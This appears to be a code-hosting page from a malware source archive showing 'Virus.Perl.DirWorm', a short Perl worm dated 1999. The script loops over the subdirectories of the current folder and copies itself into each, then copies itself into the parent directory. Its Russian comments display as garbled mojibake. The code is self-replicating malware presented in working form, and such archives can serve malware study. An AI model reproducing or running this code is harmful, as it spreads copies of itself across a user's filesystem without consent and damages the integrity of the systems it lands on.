Files
MalwareSourceCode/Perl/Virus.Perl.DirWorm
T
2020-10-09 21:59:39 -05:00

14 lines
523 B
Plaintext

# DirWorm by -Byst- (c) 1999
while (<*>) # ˆé¥¬ ¢á¥ ä ©«ë ¢ ⥪ã饩 ¤¨à¥ªâ®à¨¨
{
if (chdir($_)) { # …᫨ íâ® ¤¨à¥ªâ®à¨ï - ᬥ­¨âì ⥪ãéãî ­ ­¥¥
@command = ("cp ../worm.pl ./worm.pl > /dev/null");
system @command; # ‚ë§®¢ á¨á⥬­®© ä㭪樨 ª®¯¨à®¢ ­¨ï ä ©«
chdir(".."); # ‚®§à é ¥¬áï ®¡à â­® ¢ ­ ç «ì­ãî ¤¨à¥ªâ®à¨î
}
}
@command = ("cp ./worm.pl ../worm.pl");
system @command; # Š®¯¨à㥬 ⥫® ¢ த¨â¥«ìáªãî ¤¨à¥ªâ®à¨î